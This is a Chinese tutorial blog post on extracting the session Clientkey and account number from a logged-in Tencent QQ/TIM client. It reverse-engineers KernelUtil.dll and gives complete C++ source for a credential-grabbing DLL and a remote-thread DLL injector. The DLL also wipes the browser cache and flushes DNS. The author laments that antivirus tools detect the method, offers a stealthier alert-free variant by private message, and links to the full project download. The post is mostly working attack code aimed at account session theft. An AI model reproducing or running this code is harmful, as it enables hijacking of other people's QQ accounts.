通过 KernelUtil 截取 QQ/TIM 客户端 Clientkey 详细教程

前言

众所周知，由于最新版本 QQ 9.7.20 已经不能通过模拟网页快捷登录来截取 Clientkey，估计是针对访问的程序做了限制，然而经过多方面测试，诸多的地区、环境、机器也针对这种获取方法做了相应的措施，导致模拟网页快捷登录来截取数据被彻底的和谐，为了解决这个问题我们只能更改思路对 KernelUtil.dll 下手。

---

Step 1

KernelUtil.dll QQ 9.7.20 (29269) 即官网最新版本

此文件位于 *:\Program Files (x86)\Tencent\QQ\Bin\ 下

并于客户端成功登录后加载。

---

Step 2

IDA 附加

定位到 KernelUtil.dll 中的函数

“?GetSignature@Misc@Util@@YA?AVCTXStringW@@PBD@Z”

CTXStringW *__cdecl Util::Misc::GetSignature(CTXStringW *a1, int a2)
{
  int v2; // eax
  int v4; // [esp-14h] [ebp-14h]
  int v5; // [esp-10h] [ebp-10h]
  int v6; // [esp-Ch] [ebp-Ch]
  int v7; // [esp-8h] [ebp-8h]
  
  CTXStringW::CTXStringW(a1);
  v5 = 0;
  sub_55404A73(&v5);
  if ( v5 )
  {
    v6 = 0;
    if ( (*(int (__stdcall **)(int, int, int *))(*(_DWORD *)v5 + 60))(v5, a2, &v6) >= 0 )
    {
      v7 = 0;
      sub_5536126A(&v7, v6);
      v2 = Util::Encode::Encode16(&v4, &v7);
      CTXStringW::operator=(a1, v2);
      CTXStringW::~CTXStringW((CTXStringW *)&v4);
      if ( v7 )
        (*(void (__stdcall **)(int))(*(_DWORD *)v7 + 8))(v7);
    }
    sub_5540C87C(&v6);
  }
  sub_5540C87C(&v5);
  return a1;
}

参数 1 为 缓存区 返回结果指针。
参数 2 为 传入参数的指针。

.text:55416CFC ; class CTXStringW __cdecl Util::Misc::Get32ByteValueAddedSign(void)
.text:55416CFC                 public ?Get32ByteValueAddedSign@Misc@Util@@YA?AVCTXStringW@@XZ
.text:55416CFC ?Get32ByteValueAddedSign@Misc@Util@@YA?AVCTXStringW@@XZ proc near
.text:55416CFC                                         ; CODE XREF: Util::URL::AdjustUrl(CTXStringW const &,Util::URL::URLMODIFYLEVEL,CTXStringW const &,wchar_t const *)+A8↓p
.text:55416CFC                                         ; Util::URL::GetKeyFmt(CFmtString &)+21↓p ...
.text:55416CFC                 push    ebp
.text:55416CFD                 mov     ebp, esp
.text:55416CFF                 push    offset aBuf32bytevalue ; "buf32ByteValueAddedSignature"
.text:55416D04                 push    dword ptr [ebp+8]
.text:55416D07                 call    ?GetSignature@Misc@Util@@YA?AVCTXStringW@@PBD@Z ; Util::Misc::GetSignature(char const *)
.text:55416D0C                 mov     eax, [ebp+8]
.text:55416D0F                 pop     ecx
.text:55416D10                 pop     ecx
.text:55416D11                 pop     ebp
.text:55416D12                 retn
.text:55416D12 ?Get32ByteValueAddedSign@Misc@Util@@YA?AVCTXStringW@@XZ endp

CTXStringW *__cdecl Util::Misc::Get32ByteValueAddedSign(CTXStringW *a1)
{
  Util::Misc::GetSignature(a1, (int)"buf32ByteValueAddedSignature");
  return a1;
}

Get32ByteValueAddedSign 获取当前登录客户端 Clientkey。

int __fastcall Util::Contact::GetSelfUin(int a1)
{
  int result; // eax
  int v2; // esi
  int v3; // [esp-8h] [ebp-8h]
  
  v3 = a1;
  result = dword_554F12AC;
  if ( !dword_554F12AC )
  {
    v3 &= dword_554F12AC;
    sub_55404A73(&v3);
    if ( v3 )
      (*(void (__stdcall **)(int, int *))(*(_DWORD *)v3 + 48))(v3, &dword_554F12AC);
    v2 = dword_554F12AC;
    sub_5540C87C(&v3);
    result = v2;
  }
  return result;
}

GetSelfUin 获取当前登录客户端 Uin。

.text:55405EA9                 public ?GetSelfUin@Contact@Util@@YAKXZ
.text:55405EA9 ?GetSelfUin@Contact@Util@@YAKXZ proc near
.text:55405EA9                                         ; CODE XREF: .text:5535A2FE↑p
.text:55405EA9                                         ; .text:5535A921↑p ...
.text:55405EA9                 push    ebp
.text:55405EAA                 mov     ebp, esp
.text:55405EAC                 push    ecx
.text:55405EAD                 mov     eax, dword_554F12AC
.text:55405EB2                 test    eax, eax
.text:55405EB4                 jnz     short loc_55405EE7
.text:55405EB6                 and     [ebp-4], eax
.text:55405EB9                 lea     eax, [ebp-4]
.text:55405EBC                 push    eax
.text:55405EBD                 call    sub_55404A73
.text:55405EC2                 mov     eax, [ebp-4]
.text:55405EC5                 pop     ecx
.text:55405EC6                 test    eax, eax
.text:55405EC8                 jz      short loc_55405ED5
.text:55405ECA                 mov     ecx, [eax]
.text:55405ECC                 push    offset dword_554F12AC
.text:55405ED1                 push    eax
.text:55405ED2                 call    dword ptr [ecx+30h]
.text:55405ED5
.text:55405ED5 loc_55405ED5:                           ; CODE XREF: Util::Contact::GetSelfUin(void)+1F↑j
.text:55405ED5                 push    esi
.text:55405ED6                 mov     esi, dword_554F12AC
.text:55405EDC                 lea     ecx, [ebp-4]
.text:55405EDF                 call    sub_5540C87C
.text:55405EE4                 mov     eax, esi
.text:55405EE6                 pop     esi
.text:55405EE7
.text:55405EE7 loc_55405EE7:                           ; CODE XREF: Util::Contact::GetSelfUin(void)+B↑j
.text:55405EE7                 mov     esp, ebp
.text:55405EE9                 pop     ebp
.text:55405EEA                 retn
.text:55405EEA ?GetSelfUin@Contact@Util@@YAKXZ endp

---

Step 3

我们了解过程后便可以通过加载 GetModuleHandle("KernelUtil.dll") 调用相应函数自动截取。

 
    ULONG fnGetSelfUin = (ULONG)GetProcAddress(GetModuleHandleA("KernelUtil"), "?GetSelfUin@Contact@Util@@YAKXZ");
    if (fnGetSelfUin == NULL)
    {
        OutputDebugStringA("Get GetSelfUin Function failed \n");
        return FALSE;
    }
 
    // 获取 UIN
    ULONG currentQQ = ((ULONG(__cdecl*)())fnGetSelfUin)();
    if (currentQQ == NULL)
    {
        OutputDebugStringA("Invoke GetSelfUin Function failed \n");
        return FALSE;
    }
 
    PVOID GetSignature = GetProcAddress(hKernelUtil, "?GetSignature@Misc@Util@@YA?AVCTXStringW@@PBD@Z");
    if (GetSignature == NULL)
    {
        OutputDebugStringA("Get GetSignature Function failed \n");
        return FALSE;
    }
    
    // 获取 Clientkey
    PVOID res = ((PVOID(*)(PVOID, const char*))GetSignature)(&ClientKey, "buf32ByteValueAddedSignature");
    if (res == NULL)
    {
        OutputDebugStringA("Invoke GetSignature Function failed \n");
        return FALSE;
    }

 
    ULONG fnGetSelfUin = (ULONG)GetProcAddress(GetModuleHandleA("KernelUtil"), "?GetSelfUin@Contact@Util@@YAKXZ");
    if (fnGetSelfUin == NULL)
    {
        OutputDebugStringA("Get GetSelfUin Function failed \n");
        return FALSE;
    }
 
    // 获取 UIN
    ULONG currentQQ = ((ULONG(__cdecl*)())fnGetSelfUin)();
    if (currentQQ == NULL)
    {
        OutputDebugStringA("Invoke GetSelfUin Function failed \n");
        return FALSE;
    }
 
    PVOID GetSignature = GetProcAddress(hKernelUtil, "?GetSignature@Misc@Util@@YA?AVCTXStringW@@PBD@Z");
    if (GetSignature == NULL)
    {
        OutputDebugStringA("Get GetSignature Function failed \n");
        return FALSE;
    }
    
    // 获取 Clientkey
    PVOID res = ((PVOID(*)(PVOID, const char*))GetSignature)(&ClientKey, "buf32ByteValueAddedSignature");
    if (res == NULL)
    {
        OutputDebugStringA("Invoke GetSignature Function failed \n");
        return FALSE;
    }

DLL部分实现代码：

dllmain.cpp

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "stdafx.h"
 
 
 
using namespace std;
 
char szUin[MAX_PATH] = { 0 };
char szClientkey[MAX_PATH] = { 0 };
 
 
 
BOOL DelTempFiles();
 
BOOL GetQQClientKeys();
 
static DWORD WINAPI MainProcess(LPVOID pParam);
 
 
// 清理缓存
 
BOOL DelTempFiles()
{
    // 清理 DNS 缓存
    ShellExecute(NULL, "open", "ipconfig.exe", "/flushdns", NULL, SW_HIDE);
 
    BOOL bResult = FALSE;
    BOOL bDone = FALSE;
 
    LPINTERNET_CACHE_ENTRY_INFO lpCacheEntry = NULL;
 
    DWORD  dwTrySize, dwEntrySize = 4096; // start buffer size
    HANDLE hCacheDir = NULL;
    DWORD  dwError = ERROR_INSUFFICIENT_BUFFER;
 
    do
    {
        switch (dwError)
        {
            // need a bigger buffer
        case ERROR_INSUFFICIENT_BUFFER:
            delete[] lpCacheEntry;
            lpCacheEntry = (LPINTERNET_CACHE_ENTRY_INFO) new char[dwEntrySize];
            lpCacheEntry->dwStructSize = dwEntrySize;
            dwTrySize = dwEntrySize;
            BOOL bSuccess;
            if (hCacheDir == NULL)
                bSuccess = (hCacheDir
                    = FindFirstUrlCacheEntry(NULL, lpCacheEntry,
                        &dwTrySize)) != NULL;
            else
                bSuccess = FindNextUrlCacheEntry(hCacheDir, lpCacheEntry, &dwTrySize);
 
            if (bSuccess)
                dwError = ERROR_SUCCESS;
            else
            {
                dwError = GetLastError();
                dwEntrySize = dwTrySize; // use new size returned
            }
            break;
 
            // we are done
        case ERROR_NO_MORE_ITEMS:
            bDone = TRUE;
            bResult = TRUE;
            break;
 
            // we have got an entry
        case ERROR_SUCCESS:
            // don't delete cookie entry
            if (!(lpCacheEntry->CacheEntryType & COOKIE_CACHE_ENTRY))
                DeleteUrlCacheEntry(lpCacheEntry->lpszSourceUrlName);
 
            // get ready for next entry
            dwTrySize = dwEntrySize;
            if (FindNextUrlCacheEntry(hCacheDir, lpCacheEntry, &dwTrySize))
                dwError = ERROR_SUCCESS;
            else
            {
                dwError = GetLastError();
                dwEntrySize = dwTrySize; // use new size returned
            }
            break;
 
            // unknown error
        default:
            bDone = TRUE;
            break;
        }
 
        if (bDone)
        {
            delete[]lpCacheEntry;
            if (hCacheDir)
                FindCloseUrlCache(hCacheDir);
        }
    } while (!bDone);
 
    return TRUE;
}
 
 
 
BOOL GetQQClientKeys()
{
    // 清理缓存与DNS
    DelTempFiles();
 
    ZeroMemory(szUin, MAX_PATH);
    ZeroMemory(szClientkey, MAX_PATH);
 
    HMODULE hKernelUtil = GetModuleHandle("KernelUtil.dll");
    if (hKernelUtil == NULL)
    {
        OutputDebugStringA("Get KernelUtil Module failed \n");
        return FALSE;
    }
 
    ULONG fnGetSelfUin = (ULONG)GetProcAddress(GetModuleHandleA("KernelUtil"), "?GetSelfUin@Contact@Util@@YAKXZ");
    if (fnGetSelfUin == NULL)
    {
        OutputDebugStringA("Get GetSelfUin Function failed \n");
        return FALSE;
    }
 
    ULONG currentQQ = ((ULONG(__cdecl*)())fnGetSelfUin)();
    if (currentQQ == NULL)
    {
        OutputDebugStringA("Invoke GetSelfUin Function failed \n");
        return FALSE;
    }
 
    sprintf(szUin, "%u", currentQQ);
 
    PVOID GetSignature = GetProcAddress(hKernelUtil, "?GetSignature@Misc@Util@@YA?AVCTXStringW@@PBD@Z");
    if (GetSignature == NULL)
    {
        OutputDebugStringA("Get GetSignature Function failed \n");
        return FALSE;
    }
    
    PVOID res = ((PVOID(*)(PVOID, const char*))GetSignature)(&ClientKey, "buf32ByteValueAddedSignature");
    if (res == NULL)
    {
        OutputDebugStringA("Invoke GetSignature Function failed \n");
        return FALSE;
    }
 
    sprintf(szClientkey, "%ws", ClientKey);
 
    return TRUE;
}
 
 
 
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        HANDLE hThread1;
        hThread1 = CreateThread(NULL, 0, MainProcess, NULL, 0, NULL);
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
 
 
// 主线程模块
 
static DWORD WINAPI MainProcess(LPVOID pParam)
{
    if (GetQQClientKeys())
    {
        MessageBox(NULL, "获取数据成功。", "注意", NULL);
    }
    return 0;
}

主程序部分实现代码：

// Main.cpp : 定义控制台应用程序的入口点。
//
 
#include "stdafx.h"
 
#ifdef _DEBUG
#define new DEBUG_NEW
#endif
 
 
 
BOOL AdjustPrivileges();
 
BOOL injectDLL(TCHAR* DLLName, DWORD ProcessID);
 
 
 
 
// 唯一的应用程序对象
 
CWinApp theApp;
 
using namespace std;
 
 
 
BOOL AdjustPrivileges()
{
    HANDLE hToken = NULL;
    TOKEN_PRIVILEGES tp = { 0 };
    TOKEN_PRIVILEGES oldtp = { 0 };
    DWORD dwSize = sizeof(TOKEN_PRIVILEGES);
    LUID luid = { 0 };
 
    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
        return FALSE;
    }
 
    if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) {
        CloseHandle(hToken);
        return FALSE;
    }
 
    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
 
    /* Adjust Token Privileges */
    if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), &oldtp, &dwSize)) {
        CloseHandle(hToken);
        return FALSE;
    }
 
    // close handles
    CloseHandle(hToken);
    return TRUE;
}
 
 
 
BOOL injectDLL(TCHAR* DLLName, DWORD ProcessID)
{
    if (AdjustPrivileges())
    {
        HANDLE hOprocess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessID);
        if (hOprocess != NULL)
        {
            _TCHAR* pLibFileRemote = (_TCHAR*)VirtualAllocEx(hOprocess, NULL, 2 * strlen(DLLName) + 1, MEM_COMMIT, PAGE_READWRITE);
            if (pLibFileRemote != NULL)
            {
                if (!WriteProcessMemory(hOprocess, (void*)pLibFileRemote, DLLName, 2 * strlen(DLLName) + 1, NULL))
                    return FALSE;
 
                //Get LoadLibraryW Address
                PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(_T("Kernel32")), "LoadLibraryA");
                if (pfnStartAddr != NULL)
                {
                    HANDLE hRemote = CreateRemoteThread(hOprocess, NULL, 0, pfnStartAddr, (PVOID)pLibFileRemote, 0, NULL);
                    if (hRemote != NULL)
                    {
                        CloseHandle(hRemote);
                        CloseHandle(hOprocess);
 
                        return TRUE;
                    }
                }
            }
        }
        CloseHandle(hOprocess);
    }
    return FALSE;
}
 
 
 
int main()
{
    if (!injectDLL(“D:\\QQKey.dll”, 8888))
    {
        cout << "injectDLL To Target EXE Failed。\r\n" << endl;
    }
                    
    system("pause");
 
    return 0;
}

效果演示：

---

结语

利用此种方法可以很方便的截取到 Uin 跟 Clientkey。

但是缺点也是相形见绌的，如下图：

：（

要出现这个画面提示就不是很友好了，并且大部分安全软件都会提示并拦截，其中包括 windows 10 / windows 11 下的 Microsoft Defender 也是如此，那么该方法就显得一无是处。

还有另一种方法是通过读取 QQ 客户端数据来截取其中的 Uin 与 Clientkey，并且不会出现任何提示、报警或拦截的情况。但在这里就不详细说明，怕又被和谐，有兴趣的可以私信我。

---

完整项目下载

蓝奏云（提取码：eh9v）

百度云（提取码：wqau）